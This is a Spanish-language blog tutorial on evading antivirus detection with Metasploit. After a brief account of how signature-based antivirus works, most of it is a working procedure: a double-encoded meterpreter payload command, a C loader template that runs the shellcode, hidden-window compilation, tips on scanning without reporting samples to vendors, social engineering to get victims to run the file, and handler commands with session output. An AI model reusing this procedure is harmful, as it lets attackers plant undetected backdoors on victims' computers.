Esta es la primera de una serie de entradas que intentarán indicar las técnicas de hacking que frecuentemente se utilizan con el fin de comprometer una maquina remota que implementa mecanismos de seguridad y restricciones que dificultan las labores de penetración de un pentester o un hacker, en esta serie de entradas se indicará como es posible evadir dichas restricciones (restricciones de AV, IDS o Firewalls).

En muchos casos nos encontramos con la necesidad de distribuir un backdoor o cualquier tipo de troyano en una maquina objetivo con el fin de tener acceso a los recursos de dicha máquina para ejecutar alguna clase de tarea, sin embargo, estos son fácilmente detectados por antivirus como NOD32, AVG, Norton, etc. Esto ocurre debido a su gran cantidad de registros e información relacionada con virus, troyanos, puertas traseras, etc. Ademas de los mecanismos que incorporan para detectar de forma efectiva algún tipo de amenaza que pueda representar un riesgo para el sistema. Un antivirus frecuentemente verifica si un fichero representa un riego o no por medio de determinadas firmas o “signatures” que tiene un programa ejecutable, estas firmas corresponden a una serie de patrones de comportamiento que tiene el programa, estos patrones son obtenidos por un antivirus por medio de un proceso de desensamblaje que convierte el código ejecutable en código en ensamblador, si dentro de este código, existe al menos una de las firmas registradas en el antivirus, este programa es marcado como no fiable, ya que probablemente se trate de un troyano o algún otro tipo de amenaza.

NOTA: Existen herramientas disponibles para realizar este mismo tipo de actividades, tales como IDA Pro, la cual es frecuentemente utilizada por hackers que se dedican a actividades de ingeniería inversa. Esta herramienta cuenta con opciones que permiten analizar un fichero ejecutable e intentan determinar las funciones incluidas en el programa, librerías utilizadas e incluso detalles sobre el compilador que se ha empleado para generar el fichero ejecutable que se esta probando. Una de las principales virtudes de IDA Pro es la capacidad de automatizar el proceso de análisis del código en assembly de un programa en ejecución.

Para evitar crear un programa malicioso detectable por algún antivirus, en metasploit se utiliza la utilidad msfpayload, para crear un payload con el código del backdooor o troyano incrustado, posteriormente, se hace uso de la utilidad msfenconde para codificar la salida del fichero malicioso e intentar que sea mas difícil de detectar para un antivirus (la utilidad msfvemon permite mezclar ambos comandos), sin embargo, esto en algunas ocasiones no es suficiente y es necesario usar algunos mecanismos adicionales para que el programa no sea detectado por el antivirus instalado en la maquina objetivo.

Sin embargo, antes de continuar, para los que no sabéis que es y/o como funciona un AV, lo explico brevemente:

COMO FUNCIONA UN ANTIVIRUS:

En primer lugar, un Antivirus no es una “entidad” que todo lo sabe y todo lo ve como muchos piensan, un antivirus es simplemente un componente de software que se encarga de analizar y detectar vulnerabilidades en base a determinadas funciones del sistema operativo con mayores probabilidades de infección y/o uso malintencionado, debido a que el costo en términos de CPU y memoria empleada para realizar este tipo de chequeo es bastante alto, todos los AV tienen una base de datos interna donde se definen que secciones del sistema operativo que deben permanecer constantemente bajo monitoreo (las secciones a las que se hace referencia son llamadas a funciones del sistema operativo), estas secciones son analizadas cada vez que un recurso u objeto externo intenta invocarlas, es en estos momentos donde el AV se ejecuta analizando la naturaleza de la invocación y por medio del uso de firmas y/o heuristicas incrustadas en el AV, partiendo de esta “base del conocimiento” (como frecuentemente se suelen conocer estas reglas) el AV determina si concede el acceso a dicha función o lo deniega. Ahora bien, un AV no puede chequear y analizar todas las funciones del sistema operativo, ya que el impacto en el desempeño de la máquina seria desastroso, esta es la razón que da la sensación de que “la máquina va muy lenta” cuando un antivirus se encuentra instalado y en ejecución, el equilibrio entre desempeño y un nivel de seguridad optimo es un punto realmente difícil de conseguir para cualquier producto dedicado a la seguridad (AV, IDS, etc.), llegados a este punto, es fácil llegar a la conclusión de que los AV NO protegen al 100% todas las llamadas a funciones del sistema operativo, lo que para un pentester o hacker es un punto importante si realmente desea ejecutar un bypass del AV de la máquina objetivo.

Ahora, conociendo como funciona un AV, se procede a indicar los pasos para conseguir un payload mas difícil de detectar por un antivirus efectuando el siguiente procedimiento:

  1. En primer lugar generamos un payload con msfpayload y realizamos dos codificaciones con msfenconde, la primera con el encoder shikata_ga_nai, con 5 iteraciones y la salida en formato “crudo” raw, posteriormente la segunda codificación la realizamos con el encoder countdown realizando de la misma forma que el primero 5 iteraciones y finalmente establecemos que el fichero resultante del proceso sera un fichero en lenguaje C.

    >msfpayload windows/meterpreter/bind_tcp LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -o payload.c c
  2. Podemos apreciar la salida en el programa payload.c, y vemos como nos ha generado el payload en una variable en C, ahora, podemos usar la plantilla que viene por defecto en metasploit ubicada en: <METASPLOIT_DIR>/data/templates/src/pe/exe/template.c
    Este fichero contiene simplemente una rutina main y ejecuta un payload que no se encuentra definido por defecto, es en este punto donde podemos editar este fichero e incluir la salida que nos ha proporcionado el programa en C anteriormente generado, se aconseja realizar alguna modificación adicional a la plantilla, tal como adicionar parámetros adicionales a la función main, o crear una subrutina que se invoque desde el flujo principal y que realice la ejecución del payload, finalmente, el código de la plantilla será similar al siguiente (evidentemente el payload generado es diferente en cada caso):


#include stdio.h</pre>
#include stdlib.h

#include string.h

#include winsock2.h

char payload[]="\xb9\xf8\x01\x00\x00\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c"

….......................................

"\xf3\xc4\x86\x2e\xc8";

char comment[512] = "COMENTARIO DE TEXTO";

int main(int argc, char **argv, int a, int b, int c, int d, int e) {
 return ejecucionSubRutina();
}

int ejecucionSubRutina(){
 (*(void (*)()) payload)();
 return(0);
}

  1. Ahora solamente resta compilar el programa, para esto usamos el compilador mingw32msvc-gcc el cual se encuentra incluido en la librería gcc-mingw32, si no se encuentra instalada esta librería, simplemente realizar un apt-get install gcc-mingw32.
    Para compilar, se ejecuta el siguiente comando:

    >i586-mingw32msvc-gcc -mwindows template.c

    La opción -mwindows evita que se cree una nueva ventana de consola windows cuando se ejecute el programa en la maquina objetivo, es decir, el programa se ejecutará como un programa de background sin intervención del usuario.
    Una vez compilado el programa se creará un fichero ejecutable que debe ser distribuido a la maquina objetivo (normalmente con el nombre a.exe).

  2. Para probar la efectividad del programa, podemos utilizar algún servicio en internet que ejecute análisis sobre un programa ejecutable con un listado de los antivirus mas populares y mas robustos del mercado, estos servicios gratuitos pueden encontrarse en:

    http://www.virustotal.com/
    http://www.novirusthanks.org/service/multi-engine-antivirus-scanner/

    NOTA: Se recomienda NO utilizar el servicio de virustotal, dado que este servicio registra y distribuye los resultados a las bases de datos de los antivirus que usa con el fin de que estos amplíen su almacén de signatures de virus, por esta razón, es probable que aunque usando el servicio, un determinado antivirus no detecte el programa como una amenaza, después de alguna actualización, este ya sea descubierto por el mismo antivirus, dado que ya se encuentra la firma de nuestro programa incrustada en la base de datos del antivirus.
    En lugar de utilizar dicho servicio, se recomienda utilizar el servicio de escaner de antivirus de novirusthanks.org y seleccionar la opción de “No distribuir los resultados” de esta forma nuestro troyano o backdoor no será reportado a las bases de datos de antivirus.

  3. Finalmente, distribuimos el programa al objetivo y esperamos a que lo ejecute, (ataque pasivo) o haciendo uso de técnicas de Ingeniería Social, persuadimos al objetivo que ejecute el programa (ataque activo) independiente del tipo de ataque que usemos, antes de que el objetivo ejecute el programa necesitamos aceptar la conexión que se establecerá entre el objetivo y maquina del atacante, dado que hemos enviado el payload windows/meterpreter/bind_tcp, podemos utilizar el exploit multi/handler con el fin de aceptar la conexión y abrir una sesión meterpreter:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set RHOST 192.168.1.34
RHOST => 192.168.1.34
msf exploit(handler) > exploit [*] Starting the payload handler…[*] Started bind handler[*] Sending stage (749056 bytes) to 192.168.1.34[*] Meterpreter session 1 opened (192.168.1.33:53657 -> 192.168.1.34:4444) at Sun Apr 03 16:02:24 +0200 2011meterpreter > background
  1. Ahora, si el objetivo realiza un escaneo del programa descargado en busca de virus, el antivirus no detectará ninguna amenaza, y aun así, si nos encontramos en un entorno de pruebas, al realizar un netstat en la máquina comprometida, podremos observar que existe una conexión entre la máquina comprometida y la máquina del atacante.